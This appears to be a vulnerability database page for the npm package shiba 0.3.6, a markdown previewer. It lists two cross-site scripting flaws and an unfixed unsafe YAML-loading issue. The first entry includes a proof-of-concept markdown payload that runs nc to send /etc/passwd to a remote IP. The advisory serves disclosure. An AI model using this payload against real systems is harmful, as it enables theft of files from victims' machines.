shiba@0.3.6 vulnerabilities

Live markdown previewer with linter

1.2.1

9 years ago

6 years ago

Known vulnerabilities in the shiba package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Vulnerability	Vulnerable Version
M Cross-site Scripting (XSS) shiba is a Live markdown previewer with linter Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It is possible to inject malicious JavaScript as part of a markdown file which is executed as JavaScript. This can be leveraged to execute arbitrary commands on a victim's system. PoC `<s <onmouseover="alert(1)"> <s onmouseover="const exec = require('child_process').exec; exec('nc -w 3 192.168.8.100 1337 < /etc/passwd', (e, stdout, stderr)=> { if (e instanceof Error) { console.error(e); throw e; } console.log('stdout ', stdout); console.log('stderr ', stderr); });alert('1')">Hallo</s>` How to fix Cross-site Scripting (XSS)? Upgrade `shiba` to version 1.1.1 or higher.	<1.1.1
H Arbitrary Code Execution shiba is a Live markdown previewer with linter Affected versions of this package are vulnerable to Arbitrary Code Execution due to the default usage of the function `load()` of the package `js-yaml` instead of its secure replacement , `safeLoad()`. How to fix Arbitrary Code Execution? There is no fixed version for `shiba`.	*
M Cross-site Scripting (XSS) `shiba` is a rich live markdown preview app with linter. Affected versions of this package are vulnerable to a Cross-site Scripting (XSS) attack which can lead to code execution due to an enabled node integration. How to fix Cross-site Scripting (XSS)? Upgrade to `shiba` version 1.1.1 or higher.	<1.1.1